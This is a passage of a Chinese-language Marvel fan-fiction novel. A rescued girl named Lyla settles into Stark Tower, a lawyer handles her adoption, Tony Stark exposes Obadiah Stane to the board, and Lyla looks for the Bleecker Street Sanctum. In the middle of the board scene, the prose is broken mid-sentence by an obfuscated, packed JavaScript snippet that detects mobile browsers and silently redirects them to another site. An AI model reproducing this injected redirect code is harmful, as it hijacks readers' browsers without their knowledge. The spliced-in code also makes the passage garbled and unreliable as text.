“我在,莱拉小姐。” “谢谢。” “不用谢,莱拉小姐。这是我的职责。” 莱拉转过身,看到房间的另一侧还有一扇门。她走过去推开门,发现是一个小型的步入式衣帽间,里面已经挂了一些睡衣和家居服。衣帽间再往里是卫生间——不大,但设施齐全,淋浴间、洗手台、镜子、毛巾架,甚至还有个小小的浴缸。 洗手台上放着一套全新的洗漱用品,浴室里也有新的沐浴露和洗发水。 莱拉站在卫生间门口,看着那些东西,忽然觉得有点想洗澡。在换新衣服之前,洗个澡也很正常,对吧。 她回头看了一眼衣帽间里的睡衣,然后关上了卫生间的门。 水从花洒里冲出来的时候,莱拉站在水流下面,没有动。水温刚好——不烫,不凉,正好是那种能让肌肉松弛下来的温度。水顺着她的头发往下流,流过她的脸,流过她的脖子,流过那些布满疤痕的肩膀和后背。 她低头看着自己的身体。 太瘦了。 莱拉一直都知道自己的这具身体很瘦,但站在浴室的灯光下,那种“瘦”变得具体了——每一根肋骨都清晰可见,锁骨下面凹陷的 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她走到衣帽间,从那些挂着的睡衣里挑了一套最不起眼的——深灰色的长袖上衣和长裤,棉质的,摸起来很软。 换好衣服之后,她站在衣帽间的镜子前面。 镜子里的那个孩子——她盯着她看了几秒钟。 头发湿漉漉地贴在头皮上,水珠顺着发梢往下滴。脸很小,颧骨高高凸起,下巴尖尖的,整张脸的轮廓像是用刀削出来的。皮肤偏深,是那种长期在户外劳作晒出来的、不均匀的棕褐色。眉毛不算浓密,眉形偏直,微微上扬。眼睛是深褐色的,瞳孔很大,虹膜占据了大部分的眼球面积,认真盯着人看的时候会有些吓人。 她凑近了一些,看着自己的脸。 额头上有一道很浅很浅的疤痕,藏在发际线里,不仔细看根本看不出来。鼻梁上有几个淡淡的雀斑,那是晒伤后留下的色素沉着。嘴唇偏薄,唇色偏淡,给人一种冷淡的感觉。 莱拉用包着头发的毛巾用力地擦了擦自己的头发,然后就把被打湿的毛巾放在了一边。湿发垂下来,贴在脸的两侧。那些头发太短了,短到垂下来的长度刚刚盖住耳朵。它们在干的过程中开始变得蓬松,那些自然的小卷曲在发梢处翘了起来,像一群不听话的、炸着毛的小动物。 深灰色的睡衣穿在她身上还是有些大,但比之前那件T恤好多了。裤子长了一点,裤脚踩在脚下,她弯腰把裤脚卷了两折,露出脚踝。她的脚踝也很瘦,骨节突出,皮肤下面青色的血管清晰可见。 她又站直了,看着镜子。 莱拉深吸了一口气,对着镜子里的自己笑了一下。 镜子里的女孩也对她笑了一下。 浴室门打开的时候,水汽涌了出去,被房间里干爽的空气稀释了。莱拉走出来,光着脚踩在地毯上,脚趾陷进柔软的绒毛里。 她走到落地窗前,看着窗外的曼哈顿。 窗外阳光明媚。 “贾维斯。”她说。 “我在,莱拉小姐。” “托尼以前带过别人来这里吗?” “先生很少带人来这一层。”贾维斯说,“佩珀小姐偶尔会来。罗德斯上校在纽约时也会来访。除此之外,您和伊森医生是第一批被授予一级权限的访客。” 莱拉的手指在玻璃上画了一个圈。 “伊森的房间在哪?” “在电梯右侧第二间。” “他在做什么?” “伊森医生正在楼下与先生进行谈话。根据对话内容分析,他们在讨论伊森医生未来的去向。伊森医生表示希望继续从事医疗工作,先生提出可以在纽约为他建立一家私人诊所,伊森医生正在考虑。” 莱拉的嘴角弯了一下。他们在她离开之前就开始讨论这件事了,到现在还没讨论出结果,看来伊森对待这件事情确实很郑重了。 “贾维斯。” “我在,莱拉小姐。” “如果我现在过去的话,会打扰到他们的谈话吗?”莱拉问道。 贾维斯语气温柔的说道:“我想,伊森医生会很高兴得到您的建议的。” 12.第十二章 莱拉回到了托尼和伊森讨论的会客室。 会客室不大,但布置得很舒适。一组深色的皮质沙发围成一个半圆形,中间是一张低矮的茶几,茶几上放着几杯水和一壶咖啡。 托尼坐在主位的单人沙发上,一条腿搭在另一条腿上,手里拿着一杯咖啡。他看到莱拉走进来,上下打量了一眼她身上那套新衣服,嘴角微微弯了一下。 “衣服合身吗?” 莱拉朝他眨了眨眼:“是的,托尼,贾维斯买的刚刚好。” 托尼看着莱拉身上深棕色的皮夹克外套,深灰色的牛仔裤,脚上棕褐色的马丁靴,以及换了一身新衣服后,看起来气质更加锋利了些的莱拉,真心实意地称赞道:“很适合你,莱拉。” 伊森坐在侧面的沙发上,对着莱拉露出了一个温和的笑容。他的笑容和托尼的不一样——托尼的笑容总是张扬的;但伊森的笑容是安静的、内敛的,像一杯温水:“托尼说得没错,你看起来很精神。” “多谢夸奖。”莱拉高高兴兴地走了过去,“我打扰到你们谈话了吗?” “不,你来得正好。”托尼撇了撇嘴道,“刚好可以来帮我劝劝伊森这个固执的家伙。” 他看向伊森:“你想当无国界医生?你刚从那种地方出来,你要再回去?” “那不是‘那种地方’。”伊森的语气没有变,还是那种温和的、不紧不慢的调子,“那是一份工作。有人需要医生,而我有能力做这件事。” 莱拉听着,思索了片刻后对伊森说道:“我明白了,伊森,你想要帮助那些真正需要帮助,却无法得到帮助的人,是吗?” 伊森点了点头。 “我觉得你不用那么快就拒绝留在纽约这件事。”莱拉说道,“你之前不是还承诺了会帮我调养身体的吗?在这段时间里,我觉得你应该真正看一看这个国家,这座城市的医疗状况,等了解清楚之后,再做出决定也不迟。” 伊森沉默了。 就在这时,贾维斯的声音响了起来:“先生,马修律师来了,是让他现在来会客室吗?” 托尼回应道:“让他上来。” 在那之后不久,一个男人从会客室的门口走了进来。 他穿着一身剪裁得体的深色西装,白色衬衫的领口没有打领带,最上面的扣子解开着。他的脸很年轻——比托尼年轻,大概三十出头的样子——五官轮廓分明,颧骨很高,下颌线条利落。他的头发是深棕色的,有点长,额前的几缕垂下来,几乎遮住了眉毛。 他戴着一副深红色的墨镜,手上拿着一根白色的手杖,另一只手上提着公文包。 那是一根导盲杖。 这是一个盲人。 “这倒是有些出乎我的意料。”看出了这一点的托尼挑了挑眉,“你一定是一位相当优秀的律师。” 把找律师这件事交给贾维斯后,托尼就没有关注过了,所以他也没看过这位马修律师的资料。但既然贾维斯选择了他,那就说明这位律师至少履历上足够优秀。 “多谢称赞,斯塔克先生。”男人朝着托尼所在的位置点了点头,“马修·默多克,你可以叫我马特。” “好的,马特律师,请坐吧。”托尼在说完这句话后,才反应过来对方是个盲人,“需要我告诉你沙发在哪里吗?” “不用了,斯塔克先生。”马特说着,非常顺利地走到了还空着的那面沙发前坐了下来,从举动上完全看不出是个盲人。 马特律师是个雷厉风行的人,在坐下后,不等托尼再说些什么,他便继续说道:“大概的情况我在过来的路上就已经了解过了,现在还有一些具体的资料需要向当事人了解。” 他转向莱拉所在的方向:“你介意我问一些比较私人的问题吗?莱拉。” “你怎么知道我在这里?”莱拉好奇的看着他,“我甚至没有出声。” “我的听觉比较敏锐。”马特律师笑着说道,“我能听得出来。” “这简直像是特异功能!”莱拉惊叹了一句后,将话题拉回正轨,“马特律师,你想要问我一些什么问题?” “我大概了解了一下你的情况。”马特说,“你在阿富汗被托尼救出,他将收养你。我需要确认一些细节——比如你的出生日期、出生地、原国籍、父母信息——来完成收养文件。” 莱拉沉默了一秒。 出生日期。她知道。原主人的记忆里有——具体的日期、年份、季节。但那个日期是阿卜杜勒告诉她的,是那个男人在某个酒后的夜晚随口说出来的一个数字,她不确定那个数字是不是真的。 “二月八日。”她说,报了一个她反复确认过的日期,“十五年前。” 马特点了点头,手指在一台盲文打字机上飞快地敲击着。那台机器很小,放在他面前的茶几上,他的手指在六个键上移动的速度快得惊人,嗒嗒嗒嗒的声音像一首节奏稳定的曲子。 “出生地?” “阿富汗。赫尔曼德省。一个小村庄。”这些信息来自原主人的记忆碎片,但莱拉不确定那个村子具体叫什么名字——在原主人的记忆里,离开那个村子的时候她太小了,小到还没有学会记住名字。 “具体的村庄名称?” 莱拉摇了摇头,然后意识到他看不见,说:“我不记得了。离开的时候太小了。” 马特的手指没有停,嗒嗒嗒嗒地敲了几下。 “父母信息?” 莱拉顿了一下。她的手指无意识地摸了一下左手手背上的烫伤疤痕,那个动作很细微,细微到伊森和托尼都没有注意到,但马特的头微微偏了一下——那个角度刚好对着她的手的方向。 “父亲叫阿卜杜勒·本·哈桑。”莱拉说,“母亲的名字我不知道。她死得早,没有人告诉过我她的名字。” 马特的手指停了下来。 会客室里安静了一瞬,在场的三个人同时意识到了一件事——这个孩子的过去,比任何一份法律文件能呈现的都要复杂得多。 “阿卜杜勒·本·哈桑。”马特重复了一遍这个名字,语气没有任何评判,只是在确认,“他还活着吗?” “死了。”莱拉说。 托尼和伊森同时看向她。 马特没有问怎么死的,也没有问什么时候死的。他只是点了点头,在盲文打字机上又敲了几下。 “国籍。”他说,“你的原国籍是阿富汗。收养完成后,你将获得美国国籍。托尼将成为你的法定监护人,拥有对你的抚养权和决定权。你将继承他的姓氏,并成为他的法定继承人之一——除非他将来有了亲生子女,或者修改遗嘱。” 他说这些话的时候语气很平淡,像一个真正的律师在陈述法律条款,不带任何感情色彩。 “你还有什么问题吗?”马特问莱拉。 “没有了。”莱拉摇了摇头,好奇的问道,“这样就行了吗?” “你这一部分已经结束了,最重要的是确认你本人的意愿。”马特说道,“剩下的只是些繁琐的手续,我会搞定的。” 他站起身来,把放在茶几上的盲文打字机收了起来,放进了公文包。 那根白色的手杖在他身前轻轻点了几下,确认前方的地面没有障碍。他的动作很流畅,流畅到不像是“盲人在试探前方的路”,更像是“一个人在用自己的方式走路”。 “手续大概需要一到两周完成。”他说,“到时候我会通知斯塔克先生。” 他朝莱拉的方向伸出手。 莱拉握住他的手,他的手很温暖,握力不大不小,不像是刻意控制的,更像是一种习惯性的、恰到好处的分寸感。 “谢谢你,马特。”莱拉说。 “不用谢,这是我的职责。”马特说,松开手,把手杖换到左手,朝托尼的方向微微点了点头,“斯塔克先生,我先走了。保持联系。” 莱拉坐在沙发上,看着马特·默多克拄着手杖穿过走廊的背影。他的步伐稳定而自信,完全没有一个盲人进入陌生环境时的小心翼翼。他在走廊尽头停下来,等电梯门打开,然后走进去。 电梯门关上之前,他朝走廊的方向微微侧了一下头——那是一个“我知道有人在看我”的动作。 然后电梯门关 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“没什么。”他说,语气很轻,“一些公司的事情。” 他没有解释是什么事情,伊森也没有追问。 “对了。”托尼忽然从沙发上站起来,活动了一下肩膀,像是要把什么沉重的东西从身上抖落下去,“莱拉,你想不想在附近逛一逛?让哈皮带你出去买点东西。你喜欢什么就买什么,不用省钱。” 莱拉看着他,眼睛微微眯了一下。她当然看得出来,托尼是在把她和伊森支开。有些事情他需要一个人处理,或者至少不想让他们看到他处理的过程。 但她没有戳穿他。 “好啊。”她从沙发上跳下来,站直了身体,“我刚好想看看纽约长什么样。” 托尼的嘴角弯了一下,那个弧度比刚才真了一些。他走到会客室的角落,从墙上一个不显眼的通话面板上按了一下:“哈皮,到会客室来。” “马上到。”一个粗犷的声音从面板里传出来。 不到两分钟,会客室的门被推开了。哈皮·霍根走了进来——身材微胖,穿着一套灰色的西装,看起来不像一个保镖,更像一个普通的司机。 “老板。”他对托尼说。 “哈皮,带莱拉和伊森出去逛逛。”托尼说着,递了张信用卡给他,“遇到什么想买的东西,就直接刷卡。” 哈皮看向莱拉,目光在她身上停了一下。他刚才接他们回来的时候见过这个孩子,但她现在换了一身衣服,整个人的气质都不一样了。深棕色的皮夹克、深灰色的牛仔裤、棕褐色的马丁靴,头发还是那么短,但不再像之前那样乱糟糟的,而是被水洗过之后自然地蓬松着。 她的身形仍旧瘦小,但脸上的表情却很坦然,让人一看就知道这孩子有着不会被外界动摇的坚强内心。 “好。”哈皮接过卡应道,然后朝着莱拉微笑着打了个招呼,“你好,莱拉。” “你好,哈皮。”莱拉朝他笑了一下。 伊森从沙发上站起来,看了一眼托尼,又看了一眼莱拉。他张了张嘴,像是想说什么,但最终只是走到托尼面前,伸出手,拍了拍他的肩膀。那个动作很轻,但很稳,像是一个父亲拍儿子的肩膀。 “别太累了。”伊森说。 托尼看着他,没有说话,只是点了点头。 莱拉跟着哈皮和伊森走出了会客室,沿着走廊朝电梯走去。走廊两侧的灯光是暖黄色的,把他们的影子拉得很长很长。走到电梯门口的时候,莱拉回过头,透过会客室半开的门缝,看到托尼站在落地窗前,手里拿着手机,正在打电话。 电梯门关上了。 “发生什么了?”哈皮忽然问了一句,“托尼的状态看起来有些不太对劲。” 莱拉抬起头看着他。哈皮的目光没有看她,而是看着电梯门上倒映出来的自己的脸,但他的问题显然是在问她。 “什么都没有。”将小辣椒在电话里说的内容听得一清二楚的莱拉说,“只是点小问题,托尼会解决的。” 13.第十三章 正如莱拉所说的那样,在支走了莱拉和伊森后,从佩珀那里得知董事会否决了他关闭武器部门的决议的托尼再次召开了董事会。 董事会会议室在斯塔克工业的二十七层。 托尼走进来的时候,长桌两侧已经坐满了人。那些面孔他都认识——有些从他还是孩子的时候就在了,是他父亲霍华德时代的元老;有些是后来加入的,带着华尔街的锐利和冷漠。他们穿着深色的西装,面前摆着咖啡和水晶杯,每个人的表情都差不多——严肃、审视、带着一种“我们需要谈谈”的凝重。 托尼没有看他们。他走到长桌主位,没有坐下,双手撑着桌面,微微前倾。 “我听说你们否决了我的决定。”他说,语气不重,但整个会议室都安静了。 没有人说话。那些董事的目光落在他身上,有的带着审视,有的带着担忧,有的带着一种“看你怎么收场”的冷淡。 坐在托尼右手边第二个位置的男人清了清嗓子。他叫斯坦利,六十多岁,头发花白,是董事会里资格最老的成员之一。“托尼,我们不是在否决你。我们是在提醒你——关闭武器部门不是一个可以拍脑袋做的决定。斯塔克工业百分之六十以上的利润来自武器制造,这个数字你不会不知道。” 托尼看着他,嘴角弯了一下,那不是一个笑容。“我知道。” “那你知道你的决定意味着什么吗?”斯坦利的声音提高了半度,“股价会跌,股东会撤资,几千名员工会失业。你刚从——你刚从外面回来,你可能还没有完全了解公司目前的状况——” “我了解。”托尼打断了他,声音不大,但每个字都清清楚楚,“我比你更了解。” 斯坦利的嘴巴张了张,没有说出话来。 另一个董事开口了,是个四十多岁的女人,短发,戴着一副无框眼镜,说话的速度很快。“托尼,我们理解你在阿富汗的经历对你造成了很大的影响。但商业决策不能建立在个人情感的基础上。斯塔克工业的武器部门不仅是一个利润中心,它还是一个产业链的核心。你关掉它,上下游的供应商、经销商、合作伙伴全部会受到影响。这不是你一个人能决定的。” 托尼转过头看她,那双深棕色的眼睛里没有愤怒,只有一种她从未见过的平静。“你说得对,这不是我一个人能决定的。” 会议室里安静了一瞬。那些董事面面相觑——托尼·斯塔克居然在赞同他们的观点?这不对劲。 “所以我不打算一个人决定。”托尼站直了身体,目光扫过长桌两侧的每一张脸,“我打算和你们一起决定。但你们需要知道一件事。”他的目光变得锋利了,像一把被慢慢抽出鞘的刀,“斯塔克工业的核心,从来不是武器。是托尼·斯塔克。是我。” 会议室里的空气凝固了。 “没有我,你们手里的那些武器图纸就是废纸。没有我,军方不会跟斯塔克工业签下一个合同。没有我——”托尼的声音低了下去,低到每一个人都不由自主地屏住了呼吸,“你们连手里喝咖啡用的杯子,都买不起。” 没有人说话。 “所以当我说,我要关掉武器部门——”托尼重新双手撑在桌面上,身体前倾,像一头终于亮出獠牙的狮子,“我不是在征求你们的意见。我是在通知你们。” “托尼。” 奥巴代亚的声音从会议室门口传来。 所有人同时转过头。奥巴代亚·斯坦站在门口,穿着一身深灰色的西装,脸上挂着那个标准的、温和的、长辈式的笑容。他走进来的时候,步伐不紧不慢,像是在自己的家里散步。 “我错过了什么?”他说,语气轻松,目光扫过在场的每一个人,最后落在托尼身上。 会议室里的气氛微妙地变了。那些董事的表情,从“被托尼压制的紧张”变成了“有人来救场”的如释重负。 奥巴代亚走到托尼身边,把手搭在他的肩膀上,像过去三十八年里做过无数次的那样。 “托尼刚从阿富汗回来,身体还没有完全恢复。”奥巴代亚对着那些董事说,语气里带着一种“我在帮你们解释”的温和,“他说的话可能有些——嗯——冲动。我们需要给他一些时间。” 他看着托尼,目光里有一种东西——不是关心,不是担忧,而是更复杂的、更隐蔽的东西。是一种被压得很深的、几乎看不出来的——试探。 “托尼,你为什么不先回去休息?”奥巴代亚的声音放低了,低到只有托尼能听到,“这些事我们以后再谈。” 托尼没有动。 他站在那里,看着奥巴代亚的眼睛。那双眼睛里有笑容,有温和,有“我是为你好”的真诚。那是一个练习了几十年的表情,熟练到已经变成了本能。 托尼的手伸进西装内袋,掏出一个信封。很普通的白色信封,没有任何标记。他把信封放在桌上,推到奥巴代亚面前。 “这是什么?”奥巴代亚的笑容没有变,但他的目光在信封上停了一下。 “打开看看。”托尼说。 奥巴代亚看了他一眼,伸手拿起信封,撕开封口。里面是几张照片和几页纸。照片是截屏打印出来的视频画面——奥巴代亚坐在一个房间里,对面是一个穿着阿富汗传统服装的男人。那个男人托尼认识,他刚刚在阿富汗见过。 十戒帮的首领。 奥巴代亚的手指在照片边缘停了一下。那个停顿很短,短到在场的大部分人都没有注意到。但托尼注意到了。 “这是什么东西?”奥巴代亚的声音还是那么平稳,那么温和,但他的笑容变了——不是消失了,而是变成了一种更紧张的、更僵硬的东西。 “你和十戒帮的交易记录。”托尼的声音不大,但在安静的会议室里,每一个字都像钉子一样扎进在场每一个人的耳朵里,“你付钱给他们,让他们绑架我。你承诺在他们干掉我之后,向他们提供斯塔克工业的武器作为报酬。” 会议室里炸开了。 董事们从座位上站了起来,有的人张大了嘴巴,有的人脸色发白,有的人在低声惊呼。斯坦利的咖啡杯从手里滑落,在地上摔成了碎片,褐色的液体溅在深色的地毯上,没有人低头去看。 “托尼——”奥巴代亚的声音提高了,那个温和的、长辈式的面具终于出现了裂缝,“你知道你在说什么吗?这不可能——这是诬陷——” “诬陷?”托尼从口袋里掏出手机,在屏幕上点了一下。 会议室角落的显示屏亮了。 视频开始播放。奥巴代亚的声音从音响里传出来,清晰得可怕:“托尼·斯塔克必须消失。他死了,斯塔克工业才能回到正确的轨道上。你们做你们该做的事,剩下的我来处理。” 画面里,奥巴代亚的视频影像就在十戒帮首领对面的笔记本上,表情冷漠得像在谈一笔普通的生意。 会议室里安静得能听见显示屏的电流声。 视频播放完毕,显示屏暗了下去。 奥巴代亚的脸色终于变了。不是苍白,不是通红,而是一种托尼从未在他脸上见过的颜色——那是所有伪装都被剥去之后,露出的真实的、赤裸裸的底色。 他的嘴唇动了一下,没有发出声音。 托尼看着他,目光平静得像在看一个陌生人。“你在我爸的葬礼上拍着我的肩膀说,‘托尼,我会照顾好你的。’你在我接管公司的时候说,‘托尼,你父亲会为你骄傲的。’你在送我上飞机之前说,‘早点回来,斯塔克工业不能没有你。’”托尼的声音一直没有变大,但每一个字都像是从石头里凿出来的,“奥巴代亚,我问你一个问题。” 奥巴代亚看着他,没有说话。 “你是什么时候开始计划的?是我爸还活着的时候,还是他死了以后?” 奥巴代亚的瞳孔收缩了。他的嘴巴张开又合上,合上又张开,像一个被剪断了线的木偶,所有的动作都失去了控制。他想说什么——也许是辩解,也许是否认,也许是他在过去三十八年里练习过无数次的、用来应对任何危机的漂亮话——但那些话全部堵在了喉咙里,一个字都出不来。 托尼转过身,看着那些董事。 他的脸上没有胜利者的笑容,没有“我抓住了坏人”的得意。只有一种平静的、近乎残忍的坦然。 “各位。”他说,“这位——”他的手指向奥巴代亚,“是绑架我、试图谋杀我的幕后主使。他和恐怖分子合作,用的是你们——斯塔克工业的股东们——给他的权力和资源。现在,我想问你们一个问题。” 他的目光扫过长桌两侧的每一张脸。那些董事有的避开了他的目光,有的强撑着与他对视,有的在低头看自己的手指。 “你们打算继续和这个违法乱纪的家伙合作吗?” 会议室里沉默了三秒钟。 然后,像是被同一个开关控制一样,那些董事同时转向了奥巴代亚。 “奥巴代亚,你怎么能做这种事?”斯坦利的声音最大,语气里带着一种“我早就觉得你有问题”的后知后觉,“和恐怖分子合作?这是犯罪!” “我们一直信任你,你辜负了所有人的信任。”那个戴无框眼镜的女人接上了,她的语速比刚才更快,快得像是在念一份已经准备好的声明,“斯塔克工业不需要这样的人。” “真是令人震惊。”另一个董事附和道,“我们一定会配合调查。” 奥巴代亚站在长桌的另一端,看着那些曾经和他称兄道弟的人一个个地倒戈。他的表情从震惊变成了愤怒,从愤怒变成了一种说不清是苦涩还是讽刺的、扭曲的笑容。 他当然知道这些人在想什么。他们不是在谴责他和恐怖分子合作——他们自己在做的事情,未必比他干净多少。他们是在谴责他把事情搞砸了。暴露了。被抓住了。 合作不是问题。暴露才是问题。 奥巴代亚看向托尼。他的眼睛里终于没有了那种温和的、长辈式的伪装,剩下的只有一种赤裸裸的、不加修饰的东西。不是恨,不是愤怒,而是一种更原始的、更真实的——恐惧。 他知道自己输了。从托尼在新闻发布会上说“我要关闭武器部门”的时候他就应该知道了,但他不愿意相信。一个他从小看着长大的孩子,一个他以为永远会被他掌控、被他操纵、被他摆弄的孩子,在他面前亮出了獠牙。 会议室的门被推开了。 两个穿着制服的警察走了进来,身后跟着一个穿着深色西装、头发梳得一丝不苟的中年男人。他叫诺曼·卡森,斯塔克工业的法务总监,在公司待了十几年,处理过无数合同纠纷、专利诉讼和商业谈判。托尼在来会议室之前给他打了一个电话,只说了三句话——我需要你在会议室,带上警察,奥巴代亚。 诺曼走进来的时候,目光扫过会议室里的每一个人,最后落在奥巴代亚身上。他的表情没有任何波动,像是在处理一桩再普通不过的商业案件。 “奥巴代亚·斯坦。”诺曼的声音不大,但很稳,“公司已经掌握了您与十戒帮之间存在非法交易的证据。斯塔克工业将向您提起刑事诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623251|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讼,罪名包括合谋绑架、合谋谋杀、非法武器交易等。在此之前,您将被暂时解除在斯塔克工业的一切职务。” 他朝那两个警察点了点头。 警察走到奥巴代亚身边,一个拿出了手铐,另一个开始宣读米兰达警告。 奥巴代亚没有反抗。他只是站在那里,看着托尼,眼睛里的恐惧已经褪去了,剩下的是一种更空的东西——像是终于承认了失败之后的那种空。 “托尼。”他开口了,声音沙哑,“你父亲不会同意你这么做的。” 托尼看着他,沉默了一秒。 “你在我父亲的葬礼上说,斯塔克工业是他的心血。”托尼说,“你错了。斯塔克工业不是他的心血。他发明的东西、他帮助过的人、他留下的理念——那些才是。你从来不懂。” 奥巴代亚的嘴唇动了一下,没有说出话来。手铐扣上的声音清脆而冰冷,在会议室里回荡了一下。他被警察带走了。走到门口的时候,他的脚步顿了一下,像是在等什么——等有人说“等一下”,等托尼改变主意,等这个荒谬的梦醒来。 没有人说话。 他走了。 诺曼站在门口,朝托尼微微点了点头,然后退到了走廊里,把门关上了。 会议室里只剩下了托尼和那些董事。 托尼走回到长桌主位,这一次他坐下了。他靠在椅背上,看着那些董事的脸。那些脸上的表情已经换了好几轮——从震惊到恐惧,从恐惧到算计,从算计到一种“现在该站哪边”的精明。 “好了。”托尼的声音恢复了那种不紧不慢的、带着一丝倦意的调子,像是在主持一个普通的、例行的、没有任何意外的会议,“现在,我想关掉武器部门。还有谁反对?” 没有人说话。 斯坦利清了清嗓子,第一个开口:“托尼,我们完全支持你的决定。关闭武器部门是一个——一个有远见的决定。斯塔克工业需要转型,需要新的方向。我们会全力配合。” 戴无框眼镜的女人点了点头,推了推眼镜:“是的,托尼。董事会会全力支持你的任何决定。” 其他的董事纷纷附和,像是一群终于找到了方向的羊群。 托尼看着他们,嘴角弯了一下。 “很好。”他说,“散会。” 董事们从座位上站起来,鱼贯而出。他们的步伐比来的时候快了很多,像是在逃离一个随时可能爆炸的现场。没有人多看托尼一眼,也没有人多说一句话。他们需要的不是真相,不是正义,不是道德——他们需要的只是一个能够让他们继续赚钱的、稳定的、不会忽然崩塌的斯塔克工业。 托尼靠在椅背上,看着那些董事的背影消失在门口。 会议室安静了下来。 阳光从落地窗照进来,在地面上铺了一层金色的光。托尼坐在那片光的边缘,一半在阳光里,一半在阴影中。他的衬衫领口解开了两颗扣子,袖子卷到了手肘,胸口那个微型电弧反应堆从敞开的领口透出微弱的蓝光。 佩珀从侧门走了进来。 她的高跟鞋踩在地毯上没有声音,但托尼知道她来了。他闻到了她的香水味——不是浓烈的那种,是很淡的、像清晨花园里的那种味道。 她在他旁边站定,低头看着他。她的表情很复杂——有心疼,有担忧,甚至还有些心酸。但她没有说那些话,只是轻轻地把手放在他的肩膀上。 “你还好吗?”她问。 托尼抬起头看了她一眼,嘴角弯了一下,露出了个疲惫的、真实的、不需要伪装的笑容。 “还好。”他说。 佩珀的手从他的肩膀上移开,在他旁边的椅子上坐了下来。她没有追问,只是安静地坐在那里,陪着他。 托尼靠在椅背上,看着天花板。会议室的吊灯很大,由几十个水晶球组成,在阳光下折射出细碎的彩虹光斑,落在墙壁上、地板上、桌面上,像被打碎了的星星。 “佩珀。”他开口了。 “嗯。” “接下来我要清理这个公司。”托尼的声音很低,低到像是在跟自己说话,“不是关掉武器部门就结束了。我要把所有不该出现在这个公司里的东西——私底下的交易、见不得光的合同、被卖到不该去的地方的武器——全部挖出来,一件不留。” 他顿了一下。 “我不会再让斯塔克工业的东西,伤到任何一个不该被伤害的人。” 佩珀看着他,眼眶微微泛红,但没有掉眼泪。她跟了托尼这么多年,见过他最傲慢的样子、最混蛋的样子、最不可一世的样子。但她很少见到他这个样子——不是愤怒,不是悲伤,而是一种更安静的、更沉稳的、像是一棵树终于扎下了根的样子。 “我会帮你的。”她说。 托尼转过头,看着她,嘴角弯了一个真正的、温暖的、带着感激的笑。 “我知道。”他说。 他们坐在会议室里,没有说话。阳光从落地窗慢慢移过去,光斑在地面上缓缓移动,像一只看不见的手在翻动一页一页的书。 托尼忽然想起了莱拉。想起她在沙漠里说“我杀了阿卜杜勒”时的表情,想起她站在旗杆下割断绳子时的从容,想起她在会客室里说“你是一个超级英雄”时亮晶晶的眼睛。 “佩珀。”他说。 “嗯?” “你觉得我能当一个好父亲吗?” 佩珀愣了一下,然后笑了。那个笑容不大,但很暖。 “你已经在当了。”她说。 14.第十四章 黑色的轿车驶离斯塔克大厦,汇入曼哈顿的车流。莱拉从后窗望出去,看到那栋玻璃幕墙的大楼在阳光下闪闪发光,像一根刺向天空的银针。 哈皮开着车,表情一如既往地平淡,但莱拉注意到他的肩膀比刚才放松了一些——大概是离开了“老板的地盘”之后,那种“必须时刻保持专业”的紧绷感自然消退了。 “想先去哪儿?”哈皮从后视镜里看了她一眼。 “随便逛逛。”莱拉说,“我不急。” 哈皮点了点头,没有多说什么,开着车在附近的街区绕起了圈子。他不是漫无目的地绕——莱拉注意到他每拐一个弯都是有计划的,像是在心里画了一张“既能让乘客看看纽约又不会堵在主干道上”的路线图。 “这是第五大道。”哈皮指着车窗外一条宽阔的街道说,“名牌店都在这里。你要是想买包,这街上什么牌子都有。” 莱拉看了一眼那些橱窗里摆着的、她叫不出名字但一看就很贵的包,摇了摇头:“不买包。” 哈皮又指了指前方:“那边是中央公园。很大,从五十九街一直到一百一十街。你要是想去走走也可以,不过今天天气有点热。” “下次吧。”莱拉说。 哈皮继续开车,继续介绍。他的介绍方式很特别——不像是导游那种热情洋溢的解说,更像是“你问我答”的简化版,一句话说清楚一个地方是干什么的,不多废话。 “这是百老汇,看音乐剧的地方。” “这是洛克菲勒中心,冬天有圣诞树,现在没有。” “这是时代广场,人多,乱,别一个人来。” 莱拉趴在车窗上,把那些地名一个一个地记在脑子里。她的记性比以前好太多了,不需要刻意去背,扫一眼就能记住。这大概也是精神力强化的附带效果。 车子在一个红灯前停下来。莱拉靠在座椅上,看着窗外的街景,脑子里忽然闪过一个画面。 不是上一世的记忆,而是上一世看过的电影画面。一部关于奇异博士的电影,里面有一个场景——一个不起眼的棕色建筑,夹在两栋现代大楼之间,门牌上写着“布利克街177A号”。 纽约圣所。 莱拉的眼睛亮了一下。 她穿越到这个世界已经三个多月了,一直在为生存挣扎,在十戒帮的据点里朝不保夕,后来又在托尼的家里安顿下来。她从来没有主动去寻找过这个世界的“其他部分”——那些不属于普通人世界、不属于托尼·斯塔克的部分。 但现在她想到了。 魔法。 至尊法师。 卡玛泰姬。 她不知道自己的念动力能不能和魔法兼容,也不知道自己有没有学习魔法的天赋。但既然她已经在超级英雄的世界里了,既然她已经有了一种超自然的能力,为什么不试试能不能拥有第二种? “哈皮。”莱拉开口了。 “嗯?” “你知道布利克街吗?” 哈皮想了想:“知道。在格林威治村那边。怎么了?” “布利克街177A号。”莱拉说,“我在电视上看到过这个地址。想去看看。” 哈皮从后视镜里看了她一眼,表情有些困惑,但也没有多问。他拐了个弯,朝格林威治村的方向开去。 “你去那里干什么?”伊森在旁边问道,语气里没有质疑,只是好奇。 “看看。”莱拉说,“听说那栋楼很特别。” 伊森看了她一眼,笑了笑,没有再问。 布利克街在格林威治村的中心地带,街道不宽,两侧是各种商店和餐厅,行人比第五大道少一些,但也不算冷清。哈皮把车速放慢,沿着布利克街往前开,一栋一栋地看着门牌号。 “171……173……175……”哈皮眯着眼睛看那些挂在门边的数字,“177……这附近没有177A。你是不是记错了?” 莱拉没有回答。她的目光已经锁定了街道右侧的一栋建筑。 那栋建筑夹在两栋普通的砖石楼房之间,但它的样子和周围的一切都格格不入。它不是现代风格的——不,它根本不属于这个时代。棕色的石墙,高耸的窗户,屋顶上有精致的装饰线条,整体呈现出一种维多利亚时期的复古风格。它像是一块从十九世纪伦敦空降到二十一世纪纽约的碎片,被硬生生地塞进了这条街道的缝隙里。 